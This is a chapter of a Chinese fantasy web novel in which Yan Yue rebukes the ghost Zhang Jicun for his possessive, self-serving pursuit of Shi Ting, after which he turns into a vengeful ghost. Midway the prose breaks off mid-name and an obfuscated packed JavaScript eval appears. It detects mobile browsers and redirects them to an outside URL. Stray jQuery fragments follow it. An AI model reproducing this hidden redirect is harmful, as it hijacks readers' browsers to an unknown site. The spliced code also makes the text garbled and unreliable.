64.他的爱4

作品:《冥神她只想吃瓜

    尽管阎月嘴上说的轻松,心里却还是沉重的。


    让一个执拗到豁出性命的人,认识到自己的所做作为没有丝毫用处,反而对心爱之人造成困扰,又岂会是一件容易的事?


    “嘿!”


    耳边传来叫声,阎月眼前一花,随即被向后扯去,撞在一堵硬邦邦的“墙”上。


    头顶上方压下一道声音,带着吊儿郎当的散漫:“头回看见碰瓷儿花灯车的!就你这小胳膊小腿,也不怕花灯车把你碾成泥!”


    阎月定定盯着那一贯轻佻散漫的模样,觉得他好厉害,好像再天大的事到了他那里,都不值一提。


    白尘被她看得发毛,忍不住问:“你吃错药了?”


    他尾音音调微扬着,十分逗趣,阎月突然就释然了,烂漫一笑说:“你真好看!”


    高大的花灯车缓缓驶过街巷,车上站着许多美人,弹奏着欢快应景的乐曲。各色花灯映下绚丽缤纷的色彩,晃得人眼前发晕。


    白尘不禁怀疑自己的耳朵,难以置信地问:“你说什么?”


    阎月勾住白尘的脖颈,垫起脚尖,将下巴送到他的耳畔:“我说,你真好看!”


    清凌凌的声音如潺潺春水漫上,撩拨得人耳尖发麻,双颊陡然间烧起来。白尘望着阎月乌亮的双眸,视线微微下移,停在那小巧饱满的粉唇上。


    那晚带着酒香的甜美涌进脑海,勾着他微微向前倾身,想再品尝一次那美好的滋味。


    阎月却眼神一动,猛地跳起挥手:“我们在这儿!”


    白尘被她肩膀撞到下巴,不小心咬到舌尖,疼得眼冒泪花。他懊悔地捂住嘴巴暗骂:本尊信了你的邪!就知道你这榆木疙瘩,不会突然通了灵智!


    楚枝拎着一个大大的食盒,抱怨道:“今日酒楼人满为患,我们等了好久才拿到,站得我腿都酸了!”


    南青也拎着个食盒说:“下次节庆,餐食得赶早定,免得排不上。”说罢诧异地看向白尘,“你捂着嘴作甚?偷吃什么了?”


    一进家门,张济存便急急凑上来,“如何?婷婷她收到画眉,是不是很感动?”


    “感什……”


    楚枝语气不善,阎月直接截断她的话,续接道:“赶了半天路,饭菜都要凉了!上元节可是大日子,咱们边吃边聊!南青,快把饭菜摆上!”


    丰盛的饭菜摆上圆桌,阎月照例先夹出三碗,给周霖、蒋老、张济存。


    被鬼吸收过“精华”的饭菜,依旧能吃,却会变得寡淡无味。阎月不愿亏待自己的嘴,所以总是单独分出几份。


    聊着上元节的热闹盛况,很快酒过两巡。


    张济存见阎月总是顾左右而言他,忍不住问:“月姑娘,婷婷是否不愿接受我的画眉鸟?”


    “那怎能叫你的画眉鸟?”


    阎月失去耐性,拿出施婷送她的那盏灯笼,说:“施婷早前去郊外采风,早就发现了这对画眉。她虽爱鸟,却不忍禁锢鸟儿,故而多次去观摩,花费良久才绣出这盏画眉灯笼。多亏我们没去捉鸟,否则岂不叫她难受?”


    张济存显然不知此事,神色迷茫道:“她,早就发现了那对画眉?”


    阎月没好气道:“这灯笼四面图案不同,足以证明她是去过多次。你自称倾心于她,却根本不知晓她的性子,你这算哪门子爱慕?”


    张济存难掩失落,垂头说:“姑娘教训的是。我就是太爱她了,所以全心全意只想要她好、让她开心。为了讨她欢心,我母亲甚至被辞了工。或许,还是我做的不够吧……”


    阎月越听越气,忍不住斥道:“你母亲被辞工,是因为你们偷主家的花!这与施婷有何干系?是她叫你去偷的不成?!”


    张济存惊讶抬头,眼中闪过一抹不满:“婷婷与你说了什么?”


    阎月声音带嘲:“即便没去问施姑娘,光是从施家街坊四邻和绣楼绣女们口中,我便知事有蹊跷!”


    她缓了口气,努力调整好情绪,开口劝道:“张公子,喜欢一个人,不是表演给别人看的。所有人都知晓你喜欢施婷没用,关键是施婷她自己没有感受到你的真心。你所做的一切,只会让她觉得困扰……”


    “不可能!”


    “婷婷不是不爱我,她只是不知道我有多好、我有多爱她!”


    “我为她做了那么多事!这世上,再不会有比我更爱她的人了!”


    张济存突然暴怒,吓了周霖一跳:“张兄,你冷静些……”


    张济存抓着周霖的双肩,语气激动:“我对她掏心掏肺!我恨不得把心剖出来,捧到她的面前!她为何就是看不到?她为何就是不肯接受?!”


    “你闭嘴!”


    阎月气得重重一拍桌子,吓得楚枝筷子都掉了!


    白尘第一次情真意切地想要获得“见鬼”的能力,好看看那小鬼到底说了什么,竟把阎月气成这样!


    “还剖心?你就算把五脏六腑都捧到施婷面前,人家都嫌腥气!”


    “口口声声说喜欢人家姑娘,却对人家的性子脾气不管不顾,总是做那些哗众取宠的事,给人家添乱!”


    “你觉得让你娘偷主家的花送给施婷,你可无私了是吧?”


    “你觉得抢梨园名角的戏牌送给施婷,你可机灵了是吧?”


    “你觉得你为施婷放上百盏河灯,你可痴情了是吧?”


    “你觉得你独钓寒江一夜,给施婷送鱼,你可伟大了是吧?”


    “施婷只知道你偷人家东西,品行败坏!她带着戏牌送回梨园,窘迫地向人赔礼道歉!你放写着她名字的河灯,害得别人河灯被挤落,尴尬难堪的还是她!而且人家施家有熟识的渔夫,何曾缺你那两条鱼?”


    张济存怒不可遏反驳道:“我亲手为她钓起的鱼,与从渔夫那里买来自然不同!”


    “有何不同?!”


    阎月鄙夷道:“你以为施婷能从一条鱼身上,品尝出你的情意绵绵?鱼就是鱼,你钓的与渔夫捕的并不不同。唯一的区别是,她花钱买渔夫的鱼,吃得心安理得,不用承受无谓的枷锁!”


    “枷锁?”


    张济存震惊得眼泪飚出来,“我做的一切都是为了她好!我连去找画眉鸟都不敢告诉母亲,就因为母亲觉得她辜负我的情意,不喜欢她!母亲都不知道,我因何而死……她却觉得,这是枷锁?!”


    阎月都要气得无语了,“你还不明白吗?这些事不是她要你去做的!”


    “她不想要偷来的花、不需要抢来的戏牌,更不需要你做那些高调招摇的事!你做的那些,只感动了你自己,施婷根本不需要!”


    “你若真的喜欢她,就该尊重她的意愿,在她再三拒绝你之后,就不再去纠缠!”


    张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986377|155073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    济存垂头站立,双手死死攥着拳,低声咆哮道:“我连命都给她了……她还有什么不满意?!”


    阎月耐心告罄,毫不留情撕开他的伪装:“你少再自以为是了!她从未让你为她做任何事,更没让你去给她找画眉鸟!分明是你自己活活将自己作死了,却还要把这帽子扣在她头上!”


    “张济存,你真的爱她吗?”


    “施婷因你不堪其扰,到处受人指指点点,这一年多更是连家门都不敢出,甚至想过以死来寻求解脱!你将她推入万劫不复之地,逼得她只能有你一个选择!这就是你的爱吗?”


    “不,你只想让所有人都认为你痴心、深情,甚至为此不顾她的死活!你这根本就是想掌控她,让她不得不乖乖掉进你精心编织的大网里!”


    “所以你的执念根本就不是想表达爱意,你只想为你那些不知所谓的付出,索求一个你满意的结果!”


    “想来若施婷接受了画眉鸟,你大概会要求施婷为你守节一辈子,或许干脆以命相抵,才算对得起你吧?”


    “张济存,你爱的人——自始至终都只有你自己!”


    真话犹如寒光凛冽的利刃,猛地刺开迷雾重重的表象。


    看似坚固的虚假表象,实则脆弱不堪。伴随着破碎的声响,那些被精心粉饰过的事实,掉下层层伪装,将最真实的模样袒露出来,呈现出令人触目惊心的残酷现实。


    张济存仍旧垂着头,喉咙里却发出诡异的低吼。


    周霖试探着伸手拉他:“张兄,别再钻牛角尖了……”


    “不可能!”


    张济存猛地抬头,露出猩红的双眼,身形随之极速胀大!


    白尘正觉得那团影子变高变大了,便听身旁的阎月惊叫道:“快让开!他变恶鬼了!”


    周霖拖着蒋老极速后撤,还未站稳脚跟,便见白尘展开扇子,抬手挥过!


    一道罡风如有实体般,裹挟着膨胀中的张济存,径直撞开厨房的棉门帘子,将人丢了出去!


    “都老实待在屋里不要出来!”


    阎月抛下一句,率先闯出屋门,南青也紧随其后。


    白尘无奈地笑着摇头,闲庭信步跟出来,仿佛即将面对的不是恶鬼,而是自家的顽皮孩童。


    张济存半跪在地上,身躯较先前已然胀大了一半,嗓音更是变得浑浊不清:“我为她连命都不要了,她休想摆脱我!上天入地,她都要与我一起!”


    阎月想着她对施婷的承诺,举着鞭子疾步跑向大门,想要阻拦张济存。


    谁料张济存一个起跳便凭空跃起老高,把阎月看傻了眼:“完,大意了!”


    可下一秒,张济存又重重砸下来。


    白尘衣袂蹁跹,轻飘飘落在屋脊上,若仙人临凡,对摔得七荤八素的张济存说:“老实在院里呆着!”


    阎月忍不住蹦起来:“师父好帅!”


    白尘双臂抱在胸前,神色傲娇地提醒道:“你还是琢磨琢磨,这污糟东西如何处置吧!”


    阎月掏出齐昭阳留给他的符篆,问:“镇压他!”


    话音刚落,便听“啪嗒”一声响。


    是大黑听到外面的动静,晃晃悠悠从屋里钻出来,先看了看阎月,又看了看南青,似乎在寻觅熟悉的气息。


    可它看不见,一团硕大的雾团突然暴起,朝它而去!